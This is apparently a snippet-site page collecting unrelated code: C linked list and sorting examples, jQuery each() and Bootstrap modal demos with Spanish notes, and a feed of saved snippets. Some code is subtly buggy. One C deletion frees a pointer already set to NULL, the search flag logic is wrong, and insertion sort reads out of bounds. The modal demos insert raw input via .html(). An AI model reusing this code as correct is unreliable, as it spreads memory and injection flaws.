    if(head == NULL)  
    {  
        printf("\nList is empty\n");  
    }  
    else   
    {  
        ptr = head;  
        head = ptr->next;  
        free(ptr);  
        printf("\nNode deleted from the begining ...\n");  
    }  
}  
void last_delete()  
{  
    struct node *ptr,*ptr1;  
    if(head == NULL)  
    {  
        printf("\nlist is empty");  
    }  
    else if(head -> next == NULL)  
    {  
        head = NULL;  
        free(head);  
        printf("\nOnly node of the list deleted ...\n");  
    }  
          
    else  
    {  
        ptr = head;   
        while(ptr->next != NULL)  
        {  
            ptr1 = ptr;  
            ptr = ptr ->next;  
        }  
        ptr1->next = NULL;  
        free(ptr);  
        printf("\nDeleted Node from the last ...\n");  
    }     
}  
void random_delete()  
{  
    struct node *ptr,*ptr1;  
    int loc,i;    
    printf("\n Enter the location of the node after which you want to perform deletion \n");  
    scanf("%d",&loc);  
    ptr=head;  
    for(i=0;i<loc;i++)  
    {  
        ptr1 = ptr;       
        ptr = ptr->next;  
              
        if(ptr == NULL)  
        {  
            printf("\nCan't delete");  
            return;  
        }  
    }  
    ptr1 ->next = ptr ->next;  
    free(ptr);  
    printf("\nDeleted node %d ",loc+1);  
}  
void search()  
{  
    struct node *ptr;  
    int item,i=0,flag;  
    ptr = head;   
    if(ptr == NULL)  
    {  
        printf("\nEmpty List\n");  
    }  
    else  
    {   
        printf("\nEnter item which you want to search?\n");   
        scanf("%d",&item);  
        while (ptr!=NULL)  
        {  
            if(ptr->data == item)  
            {  
                printf("item found at location %d ",i+1);  
                flag=0;  
            }   
            else  
            {  
                flag=1;  
            }  
            i++;  
            ptr = ptr -> next;  
        }  
        if(flag==1)  
        {  
            printf("Item not found\n");  
        }  
    }     
          
}  
  
void display()  
{  
    struct node *ptr;  
    ptr = head;   
    if(ptr == NULL)  
    {  
        printf("Nothing to print");  
    }  
    else  
    {  
        printf("\nprinting values . . . . .\n");   
        while (ptr!=NULL)  
        {  
            printf("\n%d",ptr->data);  
            ptr = ptr -> next;  
        }  
    }  
}     
#include <stdio.h>

void swap(int *a, int *b) {
  int t = *a;
  *a = *b;
  *b = t;
}

int partition(int array[], int low, int high) {
  
  int pivot = array[high];
  
  int i = (low - 1);

  for (int j = low; j < high; j++) {
    if (array[j] <= pivot) {
        
      i++;
      
      swap(&array[i], &array[j]);
    }
  }

  swap(&array[i + 1], &array[high]);
  
  return (i + 1);
}

void quickSort(int array[], int low, int high) {
  if (low < high) {
    
    int pi = partition(array, low, high);
    
    quickSort(array, low, pi - 1);
    
    quickSort(array, pi + 1, high);
  }
}

void printArray(int array[], int size) {
  for (int i = 0; i < size; ++i) {
    printf("%d  ", array[i]);
  }
  printf("\n");
}

int main() {
  int data[] = {8, 7, 2, 1, 0, 9, 6};
  
  int n = sizeof(data) / sizeof(data[0]);
  
  printf("Unsorted Array\n");
  printArray(data, n);
  
  quickSort(data, 0, n - 1);
  
  printf("Sorted array in ascending order: \n");
  printArray(data, n);
}
#include <stdio.h>
void merge(int arr[], int p, int q, int r) {
  int n1 = q - p + 1;
  int n2 = r - q;

  int L[n1], M[n2];

  for (int i = 0; i < n1; i++)
    L[i] = arr[p + i];
  for (int j = 0; j < n2; j++)
    M[j] = arr[q + 1 + j];
  int i, j, k;
  i = 0;
  j = 0;
  k = p;
  while (i < n1 && j < n2) {
    if (L[i] <= M[j]) {
      arr[k] = L[i];
      i++;
    } else {
      arr[k] = M[j];
      j++;
    }
    k++;
  }
  while (i < n1) {
    arr[k] = L[i];
    i++;
    k++;
  }

  while (j < n2) {
    arr[k] = M[j];
    j++;
    k++;
  }
}
void mergeSort(int arr[], int l, int r) {
  if (l < r) {

    int m = l + (r - l) / 2;

    mergeSort(arr, l, m);
    mergeSort(arr, m + 1, r);

    merge(arr, l, m, r);
  }
}

void printArray(int arr[], int size) {
  for (int i = 0; i < size; i++)
    printf("%d ", arr[i]);
  printf("\n");
}

int main() {
  int arr[] = {6, 5, 12, 10, 9, 1};
  int size = sizeof(arr) / sizeof(arr[0]);

  mergeSort(arr, 0, size - 1);

  printf("Sorted array: \n");
  printArray(arr, size);
}
#include <stdio.h>

// Function to print an array
void printArray(int array[], int size) {
  for (int i = 0; i < size; i++) {
    printf("%d ", array[i]);
  }
  printf("\n");
}

void insertionSort(int array[], int size) {
  for (int step = 1; step < size; step++) {
    int key = array[step];
    int j = step - 1;

    // Compare key with each element on the left of it until an element smaller than
    // it is found.
    // For descending order, change key<array[j] to key>array[j].
    while (key < array[j] && j >= 0) {
      array[j + 1] = array[j];
      --j;
    }
    array[j + 1] = key;
  }
}

// Driver code
int main() {
  int data[] = {9, 5, 1, 4, 3};
  int size = sizeof(data) / sizeof(data[0]);
  insertionSort(data, size);
  printf("Sorted array in ascending order:\n");
  printArray(data, size);
}
// Selection sort in C

#include <stdio.h>

// function to swap the the position of two elements
void swap(int *a, int *b) {
  int temp = *a;
  *a = *b;
  *b = temp;
}

void selectionSort(int array[], int size) {
  for (int step = 0; step < size - 1; step++) {
    int min_idx = step;
    for (int i = step + 1; i < size; i++) {

      // To sort in descending order, change > to < in this line.
      // Select the minimum element in each loop.
      if (array[i] < array[min_idx])
        min_idx = i;
    }

    // put min at the correct position
    swap(&array[min_idx], &array[step]);
  }
}

// function to print an array
void printArray(int array[], int size) {
  for (int i = 0; i < size; ++i) {
    printf("%d  ", array[i]);
  }
  printf("\n");
}

// driver code
int main() {
  int data[] = {20, 12, 10, 15, 2};
  int size = sizeof(data) / sizeof(data[0]);
  selectionSort(data, size);
  printf("Sorted array in Acsending Order:\n");
  printArray(data, size);
}
// Bubble sort in C

#include <stdio.h>

// perform the bubble sort
void bubbleSort(int array[], int size) {

  // loop to access each array element
  for (int step = 0; step < size - 1; ++step) {
      
    // loop to compare array elements
    for (int i = 0; i < size - step - 1; ++i) {
      
      // compare two adjacent elements
      // change > to < to sort in descending order
      if (array[i] > array[i + 1]) {
        
        // swapping occurs if elements
        // are not in the intended order
        int temp = array[i];
        array[i] = array[i + 1];
        array[i + 1] = temp;
      }
    }
  }
}

// print array
void printArray(int array[], int size) {
  for (int i = 0; i < size; ++i) {
    printf("%d  ", array[i]);
  }
  printf("\n");
}

int main() {
  int data[] = {-2, 45, 0, 11, -9};
  
  // find the array's length
  int size = sizeof(data) / sizeof(data[0]);

  bubbleSort(data, size);
  
  printf("Sorted Array in Ascending Order:\n");
  printArray(data, size);
}
const colors = [
  { 'red': '#f00' },
  { 'green': '#0f0' },
  { 'blue': '#00f' }
];

$.each(colors, function() {
  $.each(this, function(name, value) {
    console.log(`${name} = ${value}`);
  });
});

This example outputs:

red = #f00
green = #0f0
blue = #00f




const numbers = [1, 2, 3, 4, 5];
$.each(numbers, function(index, value){
  console.log(`${index}: ${value}`);
});



This snippet outputs:

0:1
1:2
2:3
3:4
4:5


FUNCION EACH CON CLASES


<div class="productDescription">Red</div>
<div>Pink</div>
<div class="productDescription">Orange</div>
<div class="generalDescription">Teal</div>
<div class="productDescription">Green</div>

$.each($('.productDescription'), function(index, value) {
  console.log(index + ':' + $(value).text());
});


In this case, the output is:

0:Red
1:Orange
2:Green



No tenemos que incluir índice y valor. Estos son solo parámetros que ayudan a determinar en qué elemento DOM estamos iterando actualmente. Además, en este escenario también podemos utilizar el eachmétodo más conveniente. Podemos escribirlo así:

$('.productDescription').each(function() {
  console.log($(this).text());
});
Ahorrar
Y obtendremos esto en la consola:

Red
Orange
Green




<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>each demo</title>
  <style>
  ul {
    font-size: 18px;
    margin: 0;
  }
  span {
    color: blue;
    text-decoration: underline;
    cursor: pointer;
  }
  .example {
    font-style: italic;
  }

  </style>
  <script src="https://code.jquery.com/jquery-3.5.0.js"></script>
</head>
<body>
 
To do list: <span>(click here to change)</span>
<ul>
  <li>Eat</li>
  <li>Sleep</li>
  <li>Be merry</li>
</ul>
 
<script>
$( "span" ).click(function() {
  $( "li" ).each(function() {
    $( this ).toggleClass( "example" );
  });
});
</script>
 
</body>
</html>




La función each() en jQuery itera a través de objetos y matrices. Las matrices que tienen la propiedad de longitud se recorren desde el índice 0 hasta la longitud-1 y mientras que las matrices como los objetos se recorren a través de sus nombres de propiedades.

Sintaxis:

$.each('matriz u objeto', función(índice, valor){
  // Tu codigo
})


<!DOCTYPE html>
<html lang="en">
  
<head>
    <!-- using jquery library -->
    <script src=
"https://code.jquery.com/jquery-git.js">
    </script>
</head>
  
<body>
  <script>
    let arr = [10, 20, 30, 40, 50];
    $.each(arr, function (index, value) {
        document.write(index + ": " + value + "<br>");
    });
  </script>
</body>
  
</html>



FUNCION EACH() UTILIZADA CON ELEMENTO DEL DOM

<!DOCTYPE html>
<html lang="en">

<head>
	<!-- using jquery library -->
	<script src=
"https://code.jquery.com/jquery-git.js">
	</script>
</head>

<body>
	<p>para-1</p>
	<p>para-2</p>
	<p>para-3</p>
	<p>para-4</p>
	<p>para-5</p>
	<script>
		$("p").each(function (index) {
			console.log(index
				+ ": " + $(this).text());
		});
	</script>
</body>

</html>

<div class="container mt-2">
  
        <!-- Input field to accept user input -->
        Name: <input type="text" name="name" 
            id="name"><br><br>
  
        Marks: <input type="text" name="marks"
            id="marks"><br><br>
  
        <!-- Button to invoke the modal -->
        <button type="button" class="btn btn-primary 
            btn-sm" data-toggle="modal" 
            data-target="#exampleModal"
            id="submit">
            Submit
        </button>
  
        <!-- Modal -->
        <div class="modal fade" id="exampleModal" 
            tabindex="-1" 
            aria-labelledby="exampleModalLabel" 
            aria-hidden="true">
              
            <div class="modal-dialog">
                <div class="modal-content">
                    <div class="modal-header">
                        <h5 class="modal-title" 
                            id="exampleModalLabel">
                            Confirmation
                        </h5>
                          
                        <button type="button" 
                            class="close" 
                            data-dismiss="modal" 
                            aria-label="Close">
                            <span aria-hidden="true">
                                ×
                            </span>
                        </button>
                    </div>
  
                    <div class="modal-body">
  
                        <!-- Data passed is displayed 
                            in this part of the 
                            modal body -->
                        <h6 id="modal_body"></h6>
                        <button type="button" 
                            class="btn btn-success btn-sm" 
                            data-toggle="modal"
                            data-target="#exampleModal" 
                            id="submit">
                            Submit
                        </button>
                    </div>
                </div>
            </div>
        </div>
    </div>


<script type="text/javascript">
        $("#submit").click(function () {
            var name = $("#name").val();
            var marks = $("#marks").val();
            var str = "You Have Entered " 
                + "Name: " + name 
                + " and Marks: " + marks;
            $("#modal_body").html(str);
        });
    </script>


OTRO EJEMPLO PASANDOP DATOS DE UN TEXT AREA A UN MODAL


<!DOCTYPE html>
<html>

<head>
	<!-- Import bootstrap cdn -->
	<link rel="stylesheet" href=
"https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css"
		integrity=
"sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2"
		crossorigin="anonymous">

	<!-- Import jquery cdn -->
	<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"
		integrity=
"sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj"
		crossorigin="anonymous">
	</script>
	
	<script src=
"https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.bundle.min.js"
		integrity=
"sha384-ho+j7jyWK8fNQe+A12Hb8AhRq26LrZ/JpcUGGOn+Y7RsweNrtN/tE3MoK7ZeZDyx"
		crossorigin="anonymous">
	</script>
</head>

<body>
	<div class="container mt-2">

		<!-- Input field to accept user input -->
		<textarea id="textarea" rows="4"
			cols="50">
		</textarea><br>
		
		<!-- Button to invoke the modal -->
		<button type="button"
			class="btn btn-success btn-sm"
			data-toggle="modal"
			data-target="#exampleModal"
			id="submit">
			Submit
		</button>

		<!-- modal -->
		<div class="modal fade" id="exampleModal"
			tabindex="-1"
			aria-labelledby="exampleModalLabel"
			aria-hidden="true">
			<div class="modal-dialog">
				<div class="modal-content">
					<div class="modal-header">
						<h5 class="modal-title"
							id="exampleModalLabel">
							Entered Data
						</h5>
						
						<button type="button"
							class="close"
							data-dismiss="modal"
							aria-label="Close">

							<span aria-hidden="true">
								×
							</span>
						</button>
					</div>

					<div class="modal-body">

						<!-- Data passed is displayed
							in this part of the
							modal body -->
						<p id="modal_body"></p>

						<button type="button"
							class="btn btn-warning btn-sm"
							data-toggle="modal"
							data-target="#exampleModal">
							Proceed
						</button>
					</div>
				</div>
			</div>
		</div>
	</div>

	<script type="text/javascript">
		$("#submit").click(function () {
			var text = $("#textarea").val();
			$("#modal_body").html(text);
		});
	</script>
</body>

</html>
<select name='anch1'>
 <option value='10'>10 ++</option>
 <option value='20'>20 ++</option>
 <option value='30'>30 ++</option>
 <option value='40'>40 ++</option>
 <option value='50'>50 ++</option>
</select>





<select name='anch2'>
 <option value='10'>10 ++</option>
 <option value='20'>20 ++</option>
 <option value='30'>30 ++</option>
 <option value='40'>40 ++</option>
 <option value='50'>50 ++</option>
</select>

<select name='anch3'>
 <option value='10'>10 ++</option>
 <option value='20'>20 ++</option>
 <option value='30'>30 ++</option>
 <option value='40'>40 ++</option>
 <option value='50'>50 ++</option>
</select>

<div id='sum'>SUM OF SELECTED OPTIONS</div>

<script>

$('select').change(function(){
    var sum = 0;
    $('select :selected').each(function() {
        sum += Number($(this).val());
    });
     $("#sum").html(sum);
});

</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.4/js/bootstrap.min.js"></script>
<link href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.4/css/bootstrap.min.css" rel="stylesheet"/>

<div class="form-group">
    <a class="terms" href="javascript:void(0)" onclick="$('#modalTerms').modal('show');">This works</a>

    <div class="custom-control custom-checkbox">
        <input type="checkbox" class="custom-control-input" id="checkTerms" name="checkTerms">
        <label class="custom-control-label" for="checkTerms">I agree with <a class="terms" href="javascript:void(0)" onclick="$('#modalTerms').modal('show');">terms and conditions</a></label>
    </div>
</div>


<div class="modal fade" id="modalTerms" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
  <div class="modal-dialog">
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
        <h4 class="modal-title" id="myModalLabel">Modal title</h4>
      </div>
      <div class="modal-body">
        Checkbox is checked
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
        <button type="button" class="btn btn-primary">Save changes</button>
      </div>
    </div>
  </div>
</div>
CheckDate() =>
    D1 = input(true,"Mon",group="Trading Days of week",inline='d')
    D2 = input(true,"Tue",group="Trading Days of week",inline='d')
    D3 = input(true,"Wed",group="Trading Days of week",inline='d')
    D4 = input(true,"Thu",group="Trading Days of week",inline='d')
    D5 = input(true,"Fri",group="Trading Days of week",inline='d')
    D6 = input(true,"Sat",group="Trading Days of week",inline='d')
    D7 = input(true,"Sun",group="Trading Days of week",inline='d')

    DateOK = true

    if D1 == false
        if dayofweek == dayofweek.monday
            DateOK := false
    if D2 == false
        if dayofweek == dayofweek.tuesday
            DateOK := false
    if D3 == false
        if dayofweek == dayofweek.wednesday
            DateOK := false
    if D4 == false
        if dayofweek == dayofweek.thursday
            DateOK := false
    if D5 == false
        if dayofweek == dayofweek.friday
            DateOK := false
    if D6 == false
        if dayofweek == dayofweek.saturday
            DateOK := false
    if D7 == false
        if dayofweek == dayofweek.sunday
            DateOK := false
    DateOK
/wp-login.php?action=entered_recovery_mode
add_filter( 'avf_google_heading_font', 'avia_add_heading_font');
function avia_add_heading_font($fonts) {
    $fonts['PT Sans Narrow'] = 'PT Sans Narrow:400,700';
    $fonts['PT Sans'] = 'PT Sans:400,700,400italic,700italic';
    return $fonts;
}

add_filter( 'avf_google_content_font', 'avia_add_content_font');
function avia_add_content_font($fonts) {
    $fonts['PT Sans'] = 'PT Sans:400,700,400italic,700italic';
    $fonts['PT Sans Narrow'] = 'PT Sans Narrow:400,700';
    return $fonts;
}
var header = $(".header");
var scrollChange = 1;
$(window).scroll(function() {
    var scroll = $(window).scrollTop();

    if (scroll >= scrollChange) {
        header.addClass('bg-red');
    } else {
        header.removeClass("bg-red");
    }
});
star

Wed Nov 02 2022 07:03:46 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/7474354/include-jquery-in-the-javascript-console

@dwtut #jquery

star

Wed Nov 02 2022 03:10:54 GMT+0000 (Coordinated Universal Time)

@Dimi

star

Tue Nov 01 2022 23:40:21 GMT+0000 (Coordinated Universal Time) https://www.freecodecamp.org/news/extract-pdf-pages-render-with-javascript/

@Waydes #javascript

star

Tue Nov 01 2022 20:40:56 GMT+0000 (Coordinated Universal Time) https://getbootstrap.com/

@byahmet

star

Tue Nov 01 2022 19:53:14 GMT+0000 (Coordinated Universal Time) https://www.npmjs.com/package/react-color

@Yudhaa

star

Tue Nov 01 2022 19:25:30 GMT+0000 (Coordinated Universal Time)

@saumyatiwari

star

Tue Nov 01 2022 19:09:08 GMT+0000 (Coordinated Universal Time)

@chicovirabrikin

star

Tue Nov 01 2022 19:07:51 GMT+0000 (Coordinated Universal Time) https://www.geeksforgeeks.org/convert-the-column-type-from-string-to-datetime-format-in-pandas-dataframe/

@thiago3442 #python #pandas

star

Tue Nov 01 2022 18:22:08 GMT+0000 (Coordinated Universal Time)

@chicovirabrikin

star

Tue Nov 01 2022 17:57:03 GMT+0000 (Coordinated Universal Time)

@waqaskhan

star

Tue Nov 01 2022 16:45:18 GMT+0000 (Coordinated Universal Time) https://woocommerce.com/document/woocommerce-shortcodes/

@ToufikNolove

star

Tue Nov 01 2022 15:31:39 GMT+0000 (Coordinated Universal Time) none

@Mferrao

star

Tue Nov 01 2022 14:11:48 GMT+0000 (Coordinated Universal Time) https://www.freecodecamp.org/news/javascript-example/

@modesto59

star

Tue Nov 01 2022 13:45:30 GMT+0000 (Coordinated Universal Time)

@Roshan0706 #html #css

star

Tue Nov 01 2022 13:33:25 GMT+0000 (Coordinated Universal Time)

@Roshan0706 #html #css

star

Tue Nov 01 2022 12:13:22 GMT+0000 (Coordinated Universal Time) https://wpcode.com/

@netropol #php

star

Tue Nov 01 2022 11:06:57 GMT+0000 (Coordinated Universal Time)

@sohan010

star

Tue Nov 01 2022 10:04:36 GMT+0000 (Coordinated Universal Time)

@Reemhel #sql

star

Tue Nov 01 2022 08:22:27 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/66348733/loading-stl-files-with-vue-cli-and-three-js/66581184#66581184

@oday #javascript

star

Tue Nov 01 2022 07:06:19 GMT+0000 (Coordinated Universal Time)

@ahmed.toson

star

Tue Nov 01 2022 04:42:54 GMT+0000 (Coordinated Universal Time)

@davidmchale #media #query #mediaquery

star

Tue Nov 01 2022 04:07:29 GMT+0000 (Coordinated Universal Time) https://www.codecademy.com/courses/learn-java/lessons/learn-java-loops/exercises/removing-elements-during-traversal

@cruz #javascript

star

Tue Nov 01 2022 04:02:11 GMT+0000 (Coordinated Universal Time)

@cruz #javascript

star

Mon Oct 31 2022 23:45:39 GMT+0000 (Coordinated Universal Time)

@diogoteixeirakv #python

star

Mon Oct 31 2022 23:03:45 GMT+0000 (Coordinated Universal Time) https://bazzhood.blogspot.com/

@manish56678

star

Mon Oct 31 2022 22:58:06 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/27872387/can-a-java-lambda-have-more-than-1-parameter

@arnojunio #java

star

Mon Oct 31 2022 20:40:56 GMT+0000 (Coordinated Universal Time)

@diogoteixeirakv #python

star

Mon Oct 31 2022 20:36:54 GMT+0000 (Coordinated Universal Time) https://dyrk.org/2016/03/05/brutus-trouver-le-mot-de-passe-dun-compte-gmail-outlook/

@Coomee #python

star

Mon Oct 31 2022 17:38:28 GMT+0000 (Coordinated Universal Time) https://www.programiz.com/dsa/binary-search

@SonGoku003

star

Mon Oct 31 2022 17:38:02 GMT+0000 (Coordinated Universal Time) https://www.programmingsimplified.com/c/source-code/c-program-linear-search

@SonGoku003

star

Mon Oct 31 2022 17:12:25 GMT+0000 (Coordinated Universal Time) https://www.javatpoint.com/circular-singly-linked-list

@SonGoku003

star

Mon Oct 31 2022 17:12:13 GMT+0000 (Coordinated Universal Time) https://www.javatpoint.com/doubly-linked-list

@SonGoku003

star

Mon Oct 31 2022 17:11:47 GMT+0000 (Coordinated Universal Time) https://www.javatpoint.com/singly-linked-list

@SonGoku003

star

Mon Oct 31 2022 17:08:02 GMT+0000 (Coordinated Universal Time) https://www.programiz.com/dsa/quick-sort

@SonGoku003 #sort

star

Mon Oct 31 2022 17:07:36 GMT+0000 (Coordinated Universal Time) https://www.programiz.com/dsa/merge-sort

@SonGoku003

star

Mon Oct 31 2022 17:07:13 GMT+0000 (Coordinated Universal Time) https://www.programiz.com/dsa/insertion-sort

@SonGoku003 #sort

star

Mon Oct 31 2022 16:50:03 GMT+0000 (Coordinated Universal Time) https://www.programiz.com/dsa/selection-sort

@SonGoku003 #sort

star

Mon Oct 31 2022 16:49:29 GMT+0000 (Coordinated Universal Time) https://www.programiz.com/dsa/bubble-sort

@SonGoku003

star

Mon Oct 31 2022 16:35:49 GMT+0000 (Coordinated Universal Time) https://www.sitepoint.com/jquery-each-function-examples/

@modesto59 #javascript

star

Mon Oct 31 2022 15:48:06 GMT+0000 (Coordinated Universal Time) https://www.geeksforgeeks.org/how-to-pass-data-into-a-bootstrap-modal/

@modesto59

star

Mon Oct 31 2022 15:30:02 GMT+0000 (Coordinated Universal Time) http://jsfiddle.net/8mnQR/1/

@modesto59

star

Mon Oct 31 2022 15:00:16 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/57394069/how-to-show-a-modal-from-an-anchor-in-a-checkbox-label

@modesto59 #html

star

Mon Oct 31 2022 14:35:25 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/71546848/laravel-9-install-vue-router-for-vue-2-6-12

@oday #php

star

Mon Oct 31 2022 14:07:05 GMT+0000 (Coordinated Universal Time)

@indikalk

star

Mon Oct 31 2022 11:37:56 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/51610075/disable-menu-on-login-page-ionic-4

@vianodinapoli

star

Mon Oct 31 2022 10:52:43 GMT+0000 (Coordinated Universal Time)

@oce1907

star

Mon Oct 31 2022 10:43:29 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/54998358/cant-change-drives-in-cmder

@piyushkacha

star

Mon Oct 31 2022 09:05:47 GMT+0000 (Coordinated Universal Time)

@fostira #php

star

Mon Oct 31 2022 09:05:47 GMT+0000 (Coordinated Universal Time)

@omnixima #php

star

Mon Oct 31 2022 08:11:28 GMT+0000 (Coordinated Universal Time) https://webgolovolomki.com/en/how-to-add-a-css-class-on-scroll/

@maximedonze #html

Save snippets that work with our extensions

Available in the Chrome Web Store Get Firefox Add-on Get VS Code extension